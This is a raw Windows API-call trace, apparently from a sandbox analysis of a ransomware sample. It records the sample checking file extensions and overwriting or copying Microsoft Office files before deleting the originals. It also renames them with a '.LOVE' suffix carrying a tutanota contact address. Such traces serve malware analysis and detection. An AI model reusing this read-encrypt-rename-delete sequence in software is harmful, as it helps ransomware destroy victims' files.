[0205.902] lstrlenW (lpString=".bz2") returned 4 [0205.902] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.902] lstrlenW (lpString=".7z") returned 3 [0205.902] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0205.902] lstrlenW (lpString=".dbf") returned 4 [0205.902] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0205.902] lstrlenW (lpString=".1cd") returned 4 [0205.902] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0205.902] lstrlenW (lpString=".jpg") returned 4 [0205.902] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0205.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0205.902] lstrlenW (lpString=".doc") returned 4 [0205.902] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.902] lstrlenW (lpString=".docx") returned 5 [0205.902] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.902] lstrlenW (lpString=".pdf") returned 4 [0205.902] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.902] lstrlenW (lpString=".xls") returned 4 [0205.902] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.902] lstrlenW (lpString=".xlsx") returned 5 [0205.902] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.902] lstrlenW (lpString=".ppt") returned 4 [0205.902] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0205.902] lstrlenW (lpString=".zip") returned 4 [0205.902] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.903] lstrlenW (lpString=".rar") returned 4 [0205.903] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.903] lstrlenW (lpString=".bz2") returned 4 [0205.903] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.903] lstrlenW (lpString=".7z") returned 3 [0205.903] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0205.903] lstrlenW (lpString=".dbf") returned 4 [0205.903] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0205.903] lstrlenW (lpString=".1cd") returned 4 [0205.903] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 104 [0205.903] lstrlenW (lpString=".jpg") returned 4 [0205.903] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.903] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0205.903] lstrlenW (lpString="AppXManifest.common.xml") returned 23 [0205.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0205.903] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=2173046) returned 1 [0205.904] CloseHandle (hObject=0x300) returned 1 [0205.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml")) returned 0x220 [0205.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0205.904] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 1 [0205.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0205.905] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc64 | out: lpNewFilePointer=0x0) returned 1 [0205.905] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc24 | out: lpNewFilePointer=0x0) returned 1 [0205.905] ReadFile (in: hFile=0x300, lpBuffer=0x3b48058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b48058*, lpNumberOfBytesRead=0x2d9fc30*=0x40000, lpOverlapped=0x0) returned 1 [0205.920] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0xb0d7c, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc24 | out: lpNewFilePointer=0x0) returned 1 [0205.920] ReadFile (in: hFile=0x300, lpBuffer=0x3b88058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b88058*, lpNumberOfBytesRead=0x2d9fc30*=0x40000, lpOverlapped=0x0) returned 1 [0205.935] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d9fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0205.936] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x1d2876, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc24 | out: lpNewFilePointer=0x0) returned 1 [0205.936] ReadFile (in: hFile=0x300, lpBuffer=0x3bc8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc30, lpOverlapped=0x0 | out: lpBuffer=0x3bc8058*, lpNumberOfBytesRead=0x2d9fc30*=0x40000, lpOverlapped=0x0) returned 1 [0206.123] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.123] WriteFile (in: hFile=0x300, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xc011a, lpNumberOfBytesWritten=0x2d9fca8, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fca8*=0xc011a, lpOverlapped=0x0) returned 1 [0206.134] SetEndOfFile (hFile=0x300) returned 1 [0206.134] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4301410 [0206.136] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc74 | out: lpNewFilePointer=0x0) returned 1 [0206.136] WriteFile (in: hFile=0x300, lpBuffer=0x4301410*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc80, lpOverlapped=0x0 | out: lpBuffer=0x4301410*, lpNumberOfBytesWritten=0x2d9fc80*=0x40000, lpOverlapped=0x0) returned 1 [0206.137] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0xb0d7c, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc74 | out: lpNewFilePointer=0x0) returned 1 [0206.137] WriteFile (in: hFile=0x300, lpBuffer=0x4301410*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc80, lpOverlapped=0x0 | out: lpBuffer=0x4301410*, lpNumberOfBytesWritten=0x2d9fc80*=0x40000, lpOverlapped=0x0) returned 1 [0206.138] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x1d2876, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc74 | out: lpNewFilePointer=0x0) returned 1 [0206.138] WriteFile (in: hFile=0x300, lpBuffer=0x4301410*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc80, lpOverlapped=0x0 | out: lpBuffer=0x4301410*, lpNumberOfBytesWritten=0x2d9fc80*=0x40000, lpOverlapped=0x0) returned 1 [0206.140] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4301410 | out: hHeap=0x790000) returned 1 [0206.140] CloseHandle (hObject=0x300) returned 1 [0208.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0208.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0208.191] lstrlenW (lpString=".doc") returned 4 [0208.191] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0208.191] lstrlenW (lpString=".docx") returned 5 [0208.191] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0208.191] lstrlenW (lpString=".pdf") returned 4 [0208.191] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0208.191] lstrlenW (lpString=".xls") returned 4 [0208.191] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0208.191] lstrlenW (lpString=".xlsx") returned 5 [0208.191] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0208.191] lstrlenW (lpString=".ppt") returned 4 [0208.191] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0208.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0208.191] lstrlenW (lpString=".zip") returned 4 [0208.191] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0208.191] lstrlenW (lpString=".rar") returned 4 [0208.191] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0208.191] lstrlenW (lpString=".bz2") returned 4 [0208.192] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0208.192] lstrlenW (lpString=".7z") returned 3 [0208.192] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0208.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0208.192] lstrlenW (lpString=".dbf") returned 4 [0208.192] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0208.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0208.192] lstrlenW (lpString=".1cd") returned 4 [0208.192] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0208.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0208.192] lstrlenW (lpString=".jpg") returned 4 [0208.192] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0208.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0208.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0208.192] lstrlenW (lpString=".doc") returned 4 [0208.192] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0208.192] lstrlenW (lpString=".docx") returned 5 [0208.192] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0208.192] lstrlenW (lpString=".pdf") returned 4 [0208.192] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0208.192] lstrlenW (lpString=".xls") returned 4 [0208.192] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0208.192] lstrlenW (lpString=".xlsx") returned 5 [0208.192] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0208.192] lstrlenW (lpString=".ppt") returned 4 [0208.193] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0208.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0208.193] lstrlenW (lpString=".zip") returned 4 [0208.193] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0208.193] lstrlenW (lpString=".rar") returned 4 [0208.193] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0208.193] lstrlenW (lpString=".bz2") returned 4 [0208.193] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0208.193] lstrlenW (lpString=".7z") returned 3 [0208.193] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0208.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0208.193] lstrlenW (lpString=".dbf") returned 4 [0208.193] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0208.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0208.193] lstrlenW (lpString=".1cd") returned 4 [0208.193] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0208.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0208.193] lstrlenW (lpString=".jpg") returned 4 [0208.193] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0208.193] lstrcmpiW (lpString1=".WMF", lpString2=".LOVE") returned 1 [0208.193] lstrlenW (lpString="BD09664_.WMF") returned 12 [0208.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0208.194] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=7966) returned 1 [0208.194] CloseHandle (hObject=0x300) returned 1 [0208.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf")) returned 0x220 [0208.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0208.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0208.195] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.195] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0208.195] GetLastError () returned 0x0 [0208.195] ReadFile (in: hFile=0x300, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x1f1e, lpOverlapped=0x0) returned 1 [0208.197] WriteFile (in: hFile=0x348, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x1f20, lpOverlapped=0x0) returned 1 [0208.198] ReadFile (in: hFile=0x300, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.198] WriteFile (in: hFile=0x348, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.198] SetEndOfFile (hFile=0x348) returned 1 [0208.198] CloseHandle (hObject=0x348) returned 1 [0208.199] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.199] SetEndOfFile (hFile=0x300) returned 1 [0208.200] CloseHandle (hObject=0x300) returned 1 [0208.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.200] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf")) returned 1 [0208.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0208.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0208.201] lstrlenW (lpString=".doc") returned 4 [0208.201] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.201] lstrlenW (lpString=".docx") returned 5 [0208.201] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.201] lstrlenW (lpString=".pdf") returned 4 [0208.201] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.201] lstrlenW (lpString=".xls") returned 4 [0208.201] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.201] lstrlenW (lpString=".xlsx") returned 5 [0208.201] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.201] lstrlenW (lpString=".ppt") returned 4 [0208.201] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0208.201] lstrlenW (lpString=".zip") returned 4 [0208.201] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.201] lstrlenW (lpString=".rar") returned 4 [0208.201] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.201] lstrlenW (lpString=".bz2") returned 4 [0208.201] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.201] lstrlenW (lpString=".7z") returned 3 [0208.201] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0208.202] lstrlenW (lpString=".dbf") returned 4 [0208.202] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0208.202] lstrlenW (lpString=".1cd") returned 4 [0208.202] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0208.202] lstrlenW (lpString=".jpg") returned 4 [0208.202] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0208.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0208.202] lstrlenW (lpString=".doc") returned 4 [0208.202] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.202] lstrlenW (lpString=".docx") returned 5 [0208.202] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0208.202] lstrlenW (lpString=".pdf") returned 4 [0208.202] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.202] lstrlenW (lpString=".xls") returned 4 [0208.202] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.202] lstrlenW (lpString=".xlsx") returned 5 [0208.202] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0208.202] lstrlenW (lpString=".ppt") returned 4 [0208.202] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0208.202] lstrlenW (lpString=".zip") returned 4 [0208.202] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.202] lstrlenW (lpString=".rar") returned 4 [0208.202] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.202] lstrlenW (lpString=".bz2") returned 4 [0208.202] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.203] lstrlenW (lpString=".7z") returned 3 [0208.203] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0208.203] lstrlenW (lpString=".dbf") returned 4 [0208.203] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0208.203] lstrlenW (lpString=".1cd") returned 4 [0208.203] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0208.203] lstrlenW (lpString=".jpg") returned 4 [0208.203] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.203] lstrcmpiW (lpString1=".GIF", lpString2=".LOVE") returned -1 [0208.203] lstrlenW (lpString="BD10890_.GIF") returned 12 [0208.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0208.204] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=13515) returned 1 [0208.204] CloseHandle (hObject=0x300) returned 1 [0208.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 0x220 [0208.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0208.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0208.204] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.204] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0208.205] GetLastError () returned 0x0 [0208.205] ReadFile (in: hFile=0x300, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x34cb, lpOverlapped=0x0) returned 1 [0208.225] WriteFile (in: hFile=0x348, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x34d0, lpOverlapped=0x0) returned 1 [0208.226] ReadFile (in: hFile=0x300, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.226] WriteFile (in: hFile=0x348, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0208.227] SetEndOfFile (hFile=0x348) returned 1 [0208.227] CloseHandle (hObject=0x348) returned 1 [0208.228] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.228] SetEndOfFile (hFile=0x300) returned 1 [0208.229] CloseHandle (hObject=0x300) returned 1 [0208.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0208.229] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 1 